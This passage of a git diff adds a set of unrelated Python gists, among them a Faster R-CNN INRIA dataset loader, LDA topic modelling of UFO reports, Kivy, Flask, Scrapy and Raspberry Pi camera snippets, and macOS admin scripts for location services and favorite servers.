+            cPickle.dump(roidb, fid, cPickle.HIGHEST_PROTOCOL)
+        print 'wrote ss roidb to {}'.format(cache_file)
+
+        return roidb
+
+    def _load_selective_search_IJCV_roidb(self, gt_roidb):
+        IJCV_path = os.path.abspath(os.path.join(self.cache_path, '..',
+                                                 'selective_search_IJCV_data',
+                                                 self.name))
+        assert os.path.exists(IJCV_path), \
+               'Selective search IJCV data not found at: {}'.format(IJCV_path)
+
+        top_k = self.config['top_k']
+        box_list = []
+        for i in xrange(self.num_images):
+            filename = os.path.join(IJCV_path, self.image_index[i] + '.mat')
+            raw_data = sio.loadmat(filename)
+            box_list.append((raw_data['boxes'][:top_k, :]-1).astype(np.uint16))
+
+        return self.create_roidb_from_box_list(box_list, gt_roidb)
+
+    def _load_inria_annotation(self, index):
+        """
+        Load image and bounding boxes info from txt files of INRIAPerson.
+        """
+        filename = os.path.join(self._data_path, 'Annotations', index + '.txt')
+        # print 'Loading: {}'.format(filename)
+	with open(filename) as f:
+            data = f.read()
+	import re
+	objs = re.findall('\(\d+, \d+\)[\s\-]+\(\d+, \d+\)', data)
+
+        num_objs = len(objs)
+
+        boxes = np.zeros((num_objs, 4), dtype=np.uint16)
+        gt_classes = np.zeros((num_objs), dtype=np.int32)
+        overlaps = np.zeros((num_objs, self.num_classes), dtype=np.float32)
+
+        # Load object bounding boxes into a data frame.
+        for ix, obj in enumerate(objs):
+            # Make pixel indexes 0-based
+	    coor = re.findall('\d+', obj)
+            x1 = float(coor[0])
+            y1 = float(coor[1])
+            x2 = float(coor[2])
+            y2 = float(coor[3])
+            cls = self._class_to_ind['person']
+            boxes[ix, :] = [x1, y1, x2, y2]
+            gt_classes[ix] = cls
+            overlaps[ix, cls] = 1.0
+
+        overlaps = scipy.sparse.csr_matrix(overlaps)
+
+        return {'boxes' : boxes,
+                'gt_classes': gt_classes,
+                'gt_overlaps' : overlaps,
+                'flipped' : False}
+
+    def _write_inria_results_file(self, all_boxes):
+        use_salt = self.config['use_salt']
+        comp_id = 'comp4'
+        if use_salt:
+            comp_id += '-{}'.format(os.getpid())
+
+        # VOCdevkit/results/comp4-44503_det_test_aeroplane.txt
+        path = os.path.join(self._devkit_path, 'results', self.name, comp_id + '_')
+        for cls_ind, cls in enumerate(self.classes):
+            if cls == '__background__':
+                continue
+            print 'Writing {} results file'.format(cls)
+            filename = path + 'det_' + self._image_set + '_' + cls + '.txt'
+            with open(filename, 'wt') as f:
+                for im_ind, index in enumerate(self.image_index):
+                    dets = all_boxes[cls_ind][im_ind]
+                    if dets == []:
+                        continue
+                    # the VOCdevkit expects 1-based indices
+                    for k in xrange(dets.shape[0]):
+                        f.write('{:s} {:.3f} {:.1f} {:.1f} {:.1f} {:.1f}\n'.
+                                format(index, dets[k, -1],
+                                       dets[k, 0] + 1, dets[k, 1] + 1,
+                                       dets[k, 2] + 1, dets[k, 3] + 1))
+        return comp_id
+
+    def _do_matlab_eval(self, comp_id, output_dir='output'):
+        rm_results = self.config['cleanup']
+
+        path = os.path.join(os.path.dirname(__file__),
+                            'VOCdevkit-matlab-wrapper')
+        cmd = 'cd {} && '.format(path)
+        cmd += '{:s} -nodisplay -nodesktop '.format(datasets.MATLAB)
+        cmd += '-r "dbstop if error; '
+        cmd += 'setenv(\'LC_ALL\',\'C\'); voc_eval(\'{:s}\',\'{:s}\',\'{:s}\',\'{:s}\',{:d}); quit;"' \
+               .format(self._devkit_path, comp_id,
+                       self._image_set, output_dir, int(rm_results))
+        print('Running:\n{}'.format(cmd))
+        status = subprocess.call(cmd, shell=True)
+
+    def evaluate_detections(self, all_boxes, output_dir):
+        comp_id = self._write_inria_results_file(all_boxes)
+        self._do_matlab_eval(comp_id, output_dir)
+
+    def competition_mode(self, on):
+        if on:
+            self.config['use_salt'] = False
+            self.config['cleanup'] = False
+        else:
+            self.config['use_salt'] = True
+            self.config['cleanup'] = True
+
+if __name__ == '__main__':
+    d = datasets.inria('train', '')
+    res = d.roidb
+    from IPython import embed; embed()
+
diff --git a/hard-gists/b6e374d172bbe3e6130f6849e7bd6c13/._snippet.py b/hard-gists/b6e374d172bbe3e6130f6849e7bd6c13/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b6e374d172bbe3e6130f6849e7bd6c13/._snippet.py differ
diff --git a/hard-gists/b6e374d172bbe3e6130f6849e7bd6c13/snippet.py b/hard-gists/b6e374d172bbe3e6130f6849e7bd6c13/snippet.py
new file mode 100644
index 00000000..0a68bde4
--- /dev/null
+++ b/hard-gists/b6e374d172bbe3e6130f6849e7bd6c13/snippet.py
@@ -0,0 +1,116 @@
+import nltk
+import pandas as pd
+import re
+import pprint
+import operator
+import csv
+import logging
+from stop_words import get_stop_words
+from collections import defaultdict
+from gensim import corpora
+from gensim.models import ldamodel
+from nltk.stem import WordNetLemmatizer
+
+# constants
+STOPWORDS = set(get_stop_words('en'))
+CUSTOM_STOPWORDS = {'light', 'lights', 'lights', 'sky', 'object', 'bright', 'ufo', 'quot'}
+pp = pprint.PrettyPrinter(indent=4)
+regex_filter = re.compile('[a-z]{2,}')
+# put your custom path here if you so choose
+nltk.data.path.append('')
+logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)
+
+def tokenize_and_clean(document, stopwords=(), regex=[], lemmatizer=WordNetLemmatizer()):
+    """
+
+    :param document: a string representing a single document
+    :param stopwords: a set of stopwords
+    :param regex: additional regular expressions to use as a filter. Assuming these are compiled prior
+    :param lemmatizer: an instance of an nltk lemmatizer
+    :return: a tokenized and filtered document
+    """
+    raw_tokenized = nltk.tokenize.wordpunct_tokenize(document)
+
+    tokenized = []
+    for word in raw_tokenized:
+        w = word.lower()
+        if w not in stopwords:
+            for exp in regex:
+                if re.match(exp,w):
+                    if lemmatizer:
+                        tokenized.append(lemmatizer.lemmatize(w))
+                    else:
+                        tokenized.append(w)
+
+    return tokenized
+
+
+def word_frequency(corpus=[[]]):
+    """
+
+    :param corpus: a list of lists representing tokenized documents
+    :return: a dict containing the frequency of each word in the corpus
+    """
+    frequency = defaultdict(int)
+    for doc in corpus:
+        for w in doc:
+            frequency[w] += 1
+    return dict(sorted(frequency.items(), key=operator.itemgetter(1), reverse=True))
+
+def write_dict_to_csv(data, filepath):
+    """
+    Encapsulating this in a function - writes an object to a csv
+
+    :param data: a dict containing your data
+    :param filepath: the filepath for your csv file
+    """
+    with open(filepath, 'wb') as csv_file:
+        writer = csv.writer(csv_file)
+        for key, value in data:
+            writer.writerow([key, value])
+
+# reading in the raw file - there are other interesting data that we won't analyze at this time
+raw = pd.read_csv('./data/raw.csv', usecols=[7], names=['description'])
+
+# a dict for our document corpus
+corpus = []
+
+for i, row in raw.iterrows():
+    corpus.append(row[0])
+
+
+tokenized_corpus = []
+for doc in corpus:
+    try:
+        tokenized_corpus.append(tokenize_and_clean(document=doc, stopwords=STOPWORDS.union(CUSTOM_STOPWORDS), regex=[regex_filter]))
+    except:
+        pass
+
+
+freq = word_frequency(tokenized_corpus)
+
+# filtering words based off of low frequency < 10 instances (mispellings, rare words) and removing
+# high frequency words that don't provide a lot of discrimination between documents
+tokenized_final = [[token for token in doc if freq[token] > 10] for doc in tokenized_corpus]
+
+# creating a vocabulary of words from this corpus for streaming use
+vocabulary = corpora.Dictionary(tokenized_final)
+
+# save to disk
+vocabulary.save('data/vocabulary.dict')
+
+print(vocabulary)
+
+# creating an mm corpus
+corpus = [vocabulary.doc2bow(text) for text in tokenized_final]
+corpora.MmCorpus.serialize('data/ufo.mm', corpus)
+
+ufo_corpus = corpora.MmCorpus('data/ufo.mm')
+
+lda = ldamodel.LdaModel(corpus=ufo_corpus,alpha='auto', id2word=vocabulary, num_topics=20, update_every=0, passes=20)
+
+
+with open('data/lda_topics', 'w') as file:
+    file.write(str(lda.print_topics(-1)))
+
+lda.print_topics(-1)
\ No newline at end of file
diff --git a/hard-gists/b71ed0e977e6d345bcb8/._snippet.py b/hard-gists/b71ed0e977e6d345bcb8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b71ed0e977e6d345bcb8/._snippet.py differ
diff --git a/hard-gists/b71ed0e977e6d345bcb8/snippet.py b/hard-gists/b71ed0e977e6d345bcb8/snippet.py
new file mode 100644
index 00000000..592cc1f1
--- /dev/null
+++ b/hard-gists/b71ed0e977e6d345bcb8/snippet.py
@@ -0,0 +1,41 @@
+from __future__ import print_function
+from kivy.app import App
+from kivy.uix.slider import Slider
+from kivy.uix.boxlayout import BoxLayout
+
+class ModifiedSlider(Slider):
+    def __init__(self, **kwargs):
+        self.register_event_type('on_release')
+        super(ModifiedSlider, self).__init__(**kwargs)
+
+    def on_release(self):
+        pass
+
+    def on_touch_up(self, touch):
+        super(ModifiedSlider, self).on_touch_up(touch)
+        if touch.grab_current == self:
+            self.dispatch('on_release')
+            return True
+
+def callback_release(instance):
+    print('The Slider object {} is released'.format(instance))
+
+def callback_value(instance, value):
+    print('The slider {} value changed to: {}'.format(instance, value))
+
+modified_slider_instance = ModifiedSlider()
+modified_slider_instance.bind(on_release=callback_release)
+modified_slider_instance.bind(value=callback_value)
+
+slider_instance = Slider()
+slider_instance.bind(value=callback_value)
+
+class TestSlider(App):
+    def build(self):
+        root = BoxLayout(orientation='vertical')
+        root.add_widget(modified_slider_instance)
+        root.add_widget(slider_instance)
+        return root
+
+if __name__ == '__main__':
+    TestSlider().run()
\ No newline at end of file
diff --git a/hard-gists/b72585771a9f606ad800/._snippet.py b/hard-gists/b72585771a9f606ad800/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b72585771a9f606ad800/._snippet.py differ
diff --git a/hard-gists/b72585771a9f606ad800/snippet.py b/hard-gists/b72585771a9f606ad800/snippet.py
new file mode 100644
index 00000000..823c5b98
--- /dev/null
+++ b/hard-gists/b72585771a9f606ad800/snippet.py
@@ -0,0 +1,92 @@
+#!/usr/bin/python
+"""Enables location services, allows Maps and Timezone"""
+import os
+import platform
+import subprocess
+import sys
+try:
+    sys.path.append('/usr/local/munki/munkilib/')
+    import FoundationPlist
+except ImportError as error:
+    print "Could not find FoundationPlist, are munkitools installed?"
+    raise error
+# Enter the frogor
+
+def ioreg():
+    """get UUID to find locationd plist with"""
+    cmd = ['/usr/sbin/ioreg', '-rd1', '-c', 'IOPlatformExpertDevice']
+    full_reg = subprocess.check_output(cmd)
+    reg_list = full_reg.split('\n')
+    for reg in reg_list:
+        if reg.startswith('      "IOPlatformUUID"'):
+            uuid = reg[26:-1]
+    return uuid
+
+def root_check():
+    """check sudo"""
+    if not os.geteuid() == 0:
+        exit("This must be run with sudo")
+
+def os_check():
+    """Only QA'd on ElCap"""
+    maj_os_vers = platform.mac_ver()[0].split('.')[1]
+    if maj_os_vers != '11':
+        exit("This tool only tested on 10.11")
+
+def sysprefs_boxchk():
+    """Enables location services in sysprefs globally"""
+    uuid = ioreg()
+    path_stub = "/private/var/db/locationd/Library/Preferences/ByHost/com.apple.locationd."
+    das_plist = path_stub + uuid.strip() + ".plist"
+    on_disk = FoundationPlist.readPlist(das_plist)
+    val = on_disk.get('LocationServicesEnabled', None)
+    if val != 1:
+        on_disk['LocationServicesEnabled'] = 1
+        FoundationPlist.writePlist(on_disk, das_plist)
+        os.chown(das_plist, 205, 205)
+
+def service_handler(action):
+    """Loads or unloads System's location services launchd job"""
+    launchctl = ['/bin/launchctl', action,
+                 '/System/Library/LaunchDaemons/com.apple.locationd.plist']
+    subprocess.check_output(launchctl)
+
+def add_maps():
+    """maps dict for clients.plist in locationd settings"""
+    com_apl_maps = {} #"com.apple.Maps"
+    com_apl_maps["Hide"] = 0
+    com_apl_maps["Whitelisted"] = 0
+    com_apl_maps["BundleId"] = "com.apple.Maps"
+    com_apl_maps["BundlePath"] = "/Applications/Maps.app"
+    com_apl_maps["Registered"] = ""
+    com_apl_maps["Executable"] = "/Applications/Maps.app/Contents/MacOS/Maps"
+    com_apl_maps["Requirement"] = 'identifier "com.apple.Maps" and anchor apple'
+    com_apl_maps["Authorized"] = 1
+    das_plist = '/private/var/db/locationd/clients.plist'
+    clients_dict = FoundationPlist.readPlist(das_plist)
+    clients_dict['com.apple.Maps'] = com_apl_maps
+    FoundationPlist.writePlist(clients_dict, das_plist)
+    os.chown(das_plist, 205, 205)
+
+def autoset_timezone():
+    """enable timezone based on current location"""
+    das_plist = '/Library/Preferences/com.apple.timezone.auto.plist'
+    enabler = FoundationPlist.readPlist(das_plist)
+    val = enabler.get('Active')
+    if val != 1:
+        enabler['Active'] = 1
+    FoundationPlist.writePlist(enabler, das_plist)
+
+
+def main():
+    """gimme some main"""
+    root_check()
+    os_check()
+    service_handler('unload')
+    sysprefs_boxchk()
+    add_maps()
+    service_handler('load')
+    autoset_timezone()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/b76261844db0255899ba857838a7c201/._snippet.py b/hard-gists/b76261844db0255899ba857838a7c201/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b76261844db0255899ba857838a7c201/._snippet.py differ
diff --git a/hard-gists/b76261844db0255899ba857838a7c201/snippet.py b/hard-gists/b76261844db0255899ba857838a7c201/snippet.py
new file mode 100644
index 00000000..ad9bb7da
--- /dev/null
+++ b/hard-gists/b76261844db0255899ba857838a7c201/snippet.py
@@ -0,0 +1,12 @@
+# Pythonista script to show the UI Debugging overlay (private API) described in this blog post:
+# http://ryanipete.com/blog/ios/swift/objective-c/uidebugginginformationoverlay/
+
+from objc_util import ObjCClass, on_main_thread
+UIDebuggingInformationOverlay = ObjCClass('UIDebuggingInformationOverlay')
+
+@on_main_thread
+def toggle_overlay():
+  UIDebuggingInformationOverlay.prepareDebuggingOverlay()
+  UIDebuggingInformationOverlay.overlay().toggleVisibility()
+
+toggle_overlay()
\ No newline at end of file
diff --git a/hard-gists/b7beba6f962110596660/._snippet.py b/hard-gists/b7beba6f962110596660/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b7beba6f962110596660/._snippet.py differ
diff --git a/hard-gists/b7beba6f962110596660/snippet.py b/hard-gists/b7beba6f962110596660/snippet.py
new file mode 100644
index 00000000..eb828ece
--- /dev/null
+++ b/hard-gists/b7beba6f962110596660/snippet.py
@@ -0,0 +1,36 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+
+import sublime_plugin
+import subprocess
+from time import sleep
+import sys
+ 
+cl = lambda line: subprocess.Popen(line, shell=True, stdout=subprocess.PIPE).communicate()[0].strip()
+log = lambda message: sys.stderr.write("Log: %s\n" % message)
+ 
+sublimeMainWindowTitle = " - Sublime Text (UNREGISTERED)"
+ 
+class LicenseWindowKiller(sublime_plugin.EventListener):
+ 
+    def seek_n_close(self):
+        sublimePid = int(cl("""wmctrl -lp | grep "%s" | awk '{print $3}'""" % sublimeMainWindowTitle).decode())
+        if sublimePid:
+            sublimeMainWindowId = cl("""wmctrl -lp | grep "%s" | awk '{print $1}'""" % sublimeMainWindowTitle).decode()
+            sublimeSecondWindowId = cl("""wmctrl -lp | grep %s | awk '{ids[$1]++}{for (id in ids){if (id != "%s"){printf id}}}'""" % (sublimePid, sublimeMainWindowId)).decode()
+            if sublimeSecondWindowId:
+                sublimeSecondWindowTitle = cl("""wmctrl -lp | grep %s | awk '{print $5}'""" % sublimeSecondWindowId).decode()
+                if not sublimeSecondWindowTitle:
+                    cl("wmctrl -i -c %s" % sublimeSecondWindowId)
+                    return True
+        return False
+ 
+    def on_pre_save_async(self, *args):
+        seek = True
+        counter = 10
+        while seek:
+            sleep(.5)
+            counter -= 1
+            if counter < 0:
+                seek = False
+            seek = not self.seek_n_close()
\ No newline at end of file
diff --git a/hard-gists/b8240ea53d22e1bb4d32/._snippet.py b/hard-gists/b8240ea53d22e1bb4d32/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b8240ea53d22e1bb4d32/._snippet.py differ
diff --git a/hard-gists/b8240ea53d22e1bb4d32/snippet.py b/hard-gists/b8240ea53d22e1bb4d32/snippet.py
new file mode 100644
index 00000000..25e08476
--- /dev/null
+++ b/hard-gists/b8240ea53d22e1bb4d32/snippet.py
@@ -0,0 +1,68 @@
+# coding: utf-8
+
+import sys
+import jieba
+import numpy
+from sklearn import metrics
+from sklearn.feature_extraction.text import HashingVectorizer
+from sklearn.naive_bayes import MultinomialNB
+
+
+def input_data(train_file, test_file):
+    train_words = []
+    train_tags = []
+    test_words = []
+    test_tags = []
+    with open(train_file, 'r') as f1:
+        for line in f1:
+            tks = line.split('\t', 1)
+            train_words.append(tks[1])
+            train_tags.append(tks[0])
+    with open(test_file, 'r') as f1:
+        for line in f1:
+            tks = line.split('\t', 1)
+            test_words.append(tks[1])
+            test_tags.append(tks[0])
+    return train_words, train_tags, test_words, test_tags
+
+
+with open('stopwords.txt', 'r') as f:
+    stopwords = set([w.strip() for w in f])
+comma_tokenizer = lambda x: jieba.cut(x, cut_all=True)
+
+
+def vectorize(train_words, test_words):
+    v = HashingVectorizer(tokenizer=comma_tokenizer, n_features=30000, non_negative=True)
+    train_data = v.fit_transform(train_words)
+    test_data = v.fit_transform(test_words)
+    return train_data, test_data
+
+
+def evaluate(actual, pred):
+    m_precision = metrics.precision_score(actual, pred)
+    m_recall = metrics.recall_score(actual, pred)
+    print 'precision:{0:.3f}'.format(m_precision)
+    print 'recall:{0:0.3f}'.format(m_recall)
+
+
+def train_clf(train_data, train_tags):
+    clf = MultinomialNB(alpha=0.01)
+    clf.fit(train_data, numpy.asarray(train_tags))
+    return clf
+
+
+def main():
+    if len(sys.argv) < 3:
+        print '[Usage]: python classifier.py train_file test_file'
+        sys.exit(0)
+    train_file = sys.argv[1]
+    test_file = sys.argv[2]
+    train_words, train_tags, test_words, test_tags = input_data(train_file, test_file)
+    train_data, test_data = vectorize(train_words, test_words)
+    clf = train_clf(train_data, train_tags)
+    pred = clf.predict(test_data)
+    evaluate(numpy.asarray(test_tags), pred)
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/b82d70b0d581dc4609e4/._snippet.py b/hard-gists/b82d70b0d581dc4609e4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b82d70b0d581dc4609e4/._snippet.py differ
diff --git a/hard-gists/b82d70b0d581dc4609e4/snippet.py b/hard-gists/b82d70b0d581dc4609e4/snippet.py
new file mode 100644
index 00000000..37264620
--- /dev/null
+++ b/hard-gists/b82d70b0d581dc4609e4/snippet.py
@@ -0,0 +1,39 @@
+from gensim.models import word2vec
+import logging
+logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)
+
+model1 = word2vec.Word2Vec.load_word2vec_format('models/glove_model.txt', binary=False)
+model1.init_sims(replace=True)
+
+from flask import Flask, jsonify, request
+app = Flask(__name__)
+
+@app.route('/')
+def hello_world():
+    return 'Hello World!'
+
+@app.route('/similar/<username>')
+def show_user_profile(username):
+    # show the user profile for that user
+    n = request.args.get('topn')
+    if not n:
+        n = 10
+    else:
+        n = int(n)
+        
+    return jsonify(model1.most_similar([username], topn=n))
+
+@app.route('/similarity/<word1>/<word2>')
+def similarity(word1, word2):
+    # show the user profile for that user
+    return jsonify({"similarity": model1.similarity(word1, word2), "word1": word1, "word2": word2})
+
+@app.route('/doesnt_match/<words>')
+def doesnt_match(words):
+    # show the user profile for that user
+    word_list = words.split("+")
+    return jsonify({"doesnt_match": model1.doesnt_match(word_list), "word_list": word_list})
+
+
+if __name__ == '__main__':
+    app.run()
diff --git a/hard-gists/b82da1cb8f3afe5ccb643f87e2f853b0/._snippet.py b/hard-gists/b82da1cb8f3afe5ccb643f87e2f853b0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b82da1cb8f3afe5ccb643f87e2f853b0/._snippet.py differ
diff --git a/hard-gists/b82da1cb8f3afe5ccb643f87e2f853b0/snippet.py b/hard-gists/b82da1cb8f3afe5ccb643f87e2f853b0/snippet.py
new file mode 100644
index 00000000..13912f5b
--- /dev/null
+++ b/hard-gists/b82da1cb8f3afe5ccb643f87e2f853b0/snippet.py
@@ -0,0 +1,38 @@
+#!/usr/bin/env python3
+
+import scrapy
+
+class MySpider(scrapy.Spider):
+
+    name = 'myspider'
+
+    start_urls = ['http://www.usfigureskating.org/leaderboard/results/2018/25073/SEGM001.html']
+
+    def parse(self, response):
+        print('url:', response.url)
+
+        body = response.body.replace(b'<<+', b'&lt;&lt;+').replace(b'<+', b'&lt;+')
+
+        selector = scrapy.Selector(text=body.decode('utf-8'))
+
+        i = 1
+        for x  in selector.css('.elem::text').extract():
+            if 'Elements' in x:
+                print('---', i, '---')
+                i += 1
+            else:
+                print(x)
+
+# --- it runs without project and saves in `output.csv` ---
+
+from scrapy.crawler import CrawlerProcess
+
+c = CrawlerProcess({
+    'USER_AGENT': 'Mozilla/5.0',
+
+    # save in CSV or JSON
+    #'FEED_FORMAT': 'csv',     # 'json
+    #'FEED_URI': 'output.csv', # 'output.json
+})
+c.crawl(MySpider)
+c.start()
\ No newline at end of file
diff --git a/hard-gists/b8462a8a1cb69f55d8356cbb0f3a4d63/._snippet.py b/hard-gists/b8462a8a1cb69f55d8356cbb0f3a4d63/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b8462a8a1cb69f55d8356cbb0f3a4d63/._snippet.py differ
diff --git a/hard-gists/b8462a8a1cb69f55d8356cbb0f3a4d63/snippet.py b/hard-gists/b8462a8a1cb69f55d8356cbb0f3a4d63/snippet.py
new file mode 100644
index 00000000..d055c55f
--- /dev/null
+++ b/hard-gists/b8462a8a1cb69f55d8356cbb0f3a4d63/snippet.py
@@ -0,0 +1,90 @@
+# Fast reading from the raspberry camera with Python, Numpy, and OpenCV
+# Allows to process grayscale video up to 124 FPS (tested in Raspberry Zero Wifi with V2.1 camera)
+#
+# Made by @CarlosGS in May 2017
+# Club de Robotica - Universidad Autonoma de Madrid
+# http://crm.ii.uam.es/
+# License: Public Domain, attribution appreciated
+
+import cv2
+import numpy as np
+import subprocess as sp
+import time
+import atexit
+
+frames = [] # stores the video sequence for the demo
+max_frames = 300
+
+N_frames = 0
+
+# Video capture parameters
+(w,h) = (640,240)
+bytesPerFrame = w * h
+fps = 250 # setting to 250 will request the maximum framerate possible
+
+# "raspividyuv" is the command that provides camera frames in YUV format
+#  "--output -" specifies stdout as the output
+#  "--timeout 0" specifies continuous video
+#  "--luma" discards chroma channels, only luminance is sent through the pipeline
+# see "raspividyuv --help" for more information on the parameters
+videoCmd = "raspividyuv -w "+str(w)+" -h "+str(h)+" --output - --timeout 0 --framerate "+str(fps)+" --luma --nopreview"
+videoCmd = videoCmd.split() # Popen requires that each parameter is a separate string
+
+cameraProcess = sp.Popen(videoCmd, stdout=sp.PIPE) # start the camera
+atexit.register(cameraProcess.terminate) # this closes the camera process in case the python scripts exits unexpectedly
+
+# wait for the first frame and discard it (only done to measure time more accurately)
+rawStream = cameraProcess.stdout.read(bytesPerFrame)
+
+print("Recording...")
+
+start_time = time.time()
+
+while True:
+    cameraProcess.stdout.flush() # discard any frames that we were not able to process in time
+    # Parse the raw stream into a numpy array
+    frame = np.fromfile(cameraProcess.stdout, count=bytesPerFrame, dtype=np.uint8)
+    if frame.size != bytesPerFrame:
+        print("Error: Camera stream closed unexpectedly")
+        break
+    frame.shape = (h,w) # set the correct dimensions for the numpy array
+
+    # The frame can be processed here using any function in the OpenCV library.
+
+    # Full image processing will slow down the pipeline, so the requested FPS should be set accordingly.
+    #frame = cv2.Canny(frame, 50,150)
+    # For instance, in this example you can enable the Canny edge function above.
+    # You will see that the frame rate drops to ~35fps and video playback is erratic.
+    # If you then set fps = 30 at the beginning of the script, there will be enough cycle time between frames to provide accurate video.
+    
+    # One optimization could be to work with a decimated (downscaled) version of the image: deci = frame[::2, ::2]
+    
+    frames.append(frame) # save the frame (for the demo)
+    #del frame # free the allocated memory
+    N_frames += 1
+    if N_frames > max_frames: break
+
+end_time = time.time()
+
+cameraProcess.terminate() # stop the camera
+
+
+elapsed_seconds = end_time-start_time
+print("Done! Result: "+str(N_frames/elapsed_seconds)+" fps")
+
+
+print("Writing frames to disk...")
+out = cv2.VideoWriter("slow_motion.avi", cv2.cv.CV_FOURCC(*"MJPG"), 30, (w,h))
+for n in range(N_frames):
+    #cv2.imwrite("frame"+str(n)+".png", frames[n]) # save frame as a PNG image
+    frame_rgb = cv2.cvtColor(frames[n],cv2.COLOR_GRAY2RGB) # video codec requires RGB image
+    out.write(frame_rgb)
+out.release()
+
+print("Display frames with OpenCV...")
+for frame in frames:
+    cv2.imshow("Slow Motion", frame)
+    cv2.waitKey(1) # request maximum refresh rate
+
+cv2.destroyAllWindows()
+
diff --git a/hard-gists/b85fcfd4a0479810e6aa/._snippet.py b/hard-gists/b85fcfd4a0479810e6aa/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b85fcfd4a0479810e6aa/._snippet.py differ
diff --git a/hard-gists/b85fcfd4a0479810e6aa/snippet.py b/hard-gists/b85fcfd4a0479810e6aa/snippet.py
new file mode 100644
index 00000000..e1462051
--- /dev/null
+++ b/hard-gists/b85fcfd4a0479810e6aa/snippet.py
@@ -0,0 +1,64 @@
+import os.path
+from Foundation import NSData, NSKeyedUnarchiver, SFLListItem, NSURL, NSMutableDictionary, NSKeyedArchiver, NSString, NSDictionary, NSArray
+
+def load_favservers(sfl_path):
+    if os.path.isfile(sfl_path):
+        # File exists, use it
+        sfl_decoded = NSKeyedUnarchiver.unarchiveObjectWithData_(NSData.dataWithContentsOfFile_(sfl_path))
+    else:
+        # File doesn't exist, make a blank template
+        sfl_decoded = {u'items': [],
+                       u'version': 1L,
+                       u'properties': {"com.apple.LSSharedFileList.ForceTemplateIcons": False,},
+                      }
+    mutable_favs = dict(sfl_decoded)
+    mutable_favs['items'] = list(mutable_favs['items'])
+    return mutable_favs
+
+def create_favitem(url=None, name=None):
+    if name is None:
+        # Make the display name the same as the URL by default
+        name = url
+    props = {NSString.stringWithString_('com.apple.LSSharedFileList.OverrideIcon.OSType'): NSString.stringWithString_(u'srvr')}
+    props = NSDictionary.alloc().initWithDictionary_(props)
+    return SFLListItem.alloc().initWithName_URL_properties_(name, NSURL.alloc().initWithString_(url), props)
+
+def purify(obj):
+    # This code ensures that certain data types are very definitely the ObjC versions
+    d = dir(obj)
+    if '__reversed__' in d:
+        # list / NSArray
+        return NSArray.alloc().initWithArray_(obj)
+    elif 'items' in d:
+        # dictionary / NSDictionary
+        return NSDictionary.alloc().initWithDictionary_(obj)
+    elif 'strip' in d:
+        # string / NSString
+        return NSString.alloc().initWithString_(obj)
+    # Unhandled
+    return obj
+
+def save_favservers(favs, path):
+    # Prior to running code through NSKeyedArchiver, we want to strip out custom pyObjC subclass types
+    temp_keys = favs.keys()
+    fixed_values = [purify(favs[x]) for x in temp_keys]
+    fixed_keys   = [purify(x) for x in temp_keys]
+    # Once everything is cleaned up, put it into a new NSDictionary
+    formatted_favs = NSDictionary.alloc().initWithObjects_forKeys_(fixed_values, fixed_keys)
+    return NSKeyedArchiver.archiveRootObject_toFile_(formatted_favs, path)
+
+# How to use it
+# -------------
+# Pick the path:
+sfl_path = os.path.expanduser('~/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteServers.sfl')
+# Load it:
+my_favs  = load_favservers(sfl_path)
+# Make a new favorite:
+new_fav  = create_favitem(url='smb://username@servername', name='A Cool Custom Name')
+# Append it to the end:
+my_favs['items'].append(new_fav)
+
+# Saving back like this probably won't work if the user has the dialog open, so you'll want to
+# do it at login with a tool like outset: https://github.com/chilcote/outset
+# (The best time to do it would be when they're not logged in at all ...)
+result = save_favservers(my_favs, sfl_path)
\ No newline at end of file
diff --git a/hard-gists/b87ffb502890909aea2eb449643d5bc7/._snippet.py b/hard-gists/b87ffb502890909aea2eb449643d5bc7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b87ffb502890909aea2eb449643d5bc7/._snippet.py differ
diff --git a/hard-gists/b87ffb502890909aea2eb449643d5bc7/snippet.py b/hard-gists/b87ffb502890909aea2eb449643d5bc7/snippet.py
new file mode 100644
index 00000000..1adea36b
--- /dev/null
+++ b/hard-gists/b87ffb502890909aea2eb449643d5bc7/snippet.py
@@ -0,0 +1,59 @@
+# Requires pandas. For Windows users, I recommend installing the Anaconda Python distirbution.
+# Requires the pytrends library. To install, run "pip install pytrends".
+from pytrends.pyGTrends import pyGTrends
+import time
+import os
+from random import randint
+import pandas as pd
+
+# Add your Gmail username to the google_username variable and your Gmail password to the google_password variable.
+google_username = ""
+google_password = ""
+connector = pyGTrends(google_username, google_password)
+
+# This script downloads a series of CSV files from Google Trends. Please specify a filepath for where you'd like these files to be stored in the below variable.
+path = ""
+
+# Specify the filename of a CSV with a list of keywords in the variable, keyordcsv. The CSV should be one column, with header equal to Keywords (case sensitive).
+keywordcsv = "keywords.csv"
+keywords = pd.read_csv(keywordcsv)
+
+# Downloads and Calculate Slope:
+keywordlist = pd.DataFrame(columns=["keyword","slope"])
+for index, row in keywords.iterrows():
+    print("Downloading Keyword #" + str(index))
+    payload = {'geo': 'US', 'q': [row[0]]}
+    connector.request_report(payload)
+    time.sleep(randint(5, 10))
+    connector.save_csv(path, str(index))
+    csvname = str(index)+".csv"
+    trenddata = pd.read_csv(csvname, skiprows=4, names=['date', 'values'])
+    keyword = trenddata['values'].loc[[0]][0]
+    trenddata = trenddata.ix[1:]
+    trenddata['keyword'] = keyword
+    trenddata.rename(columns={'values': 'trends'}, inplace=True)
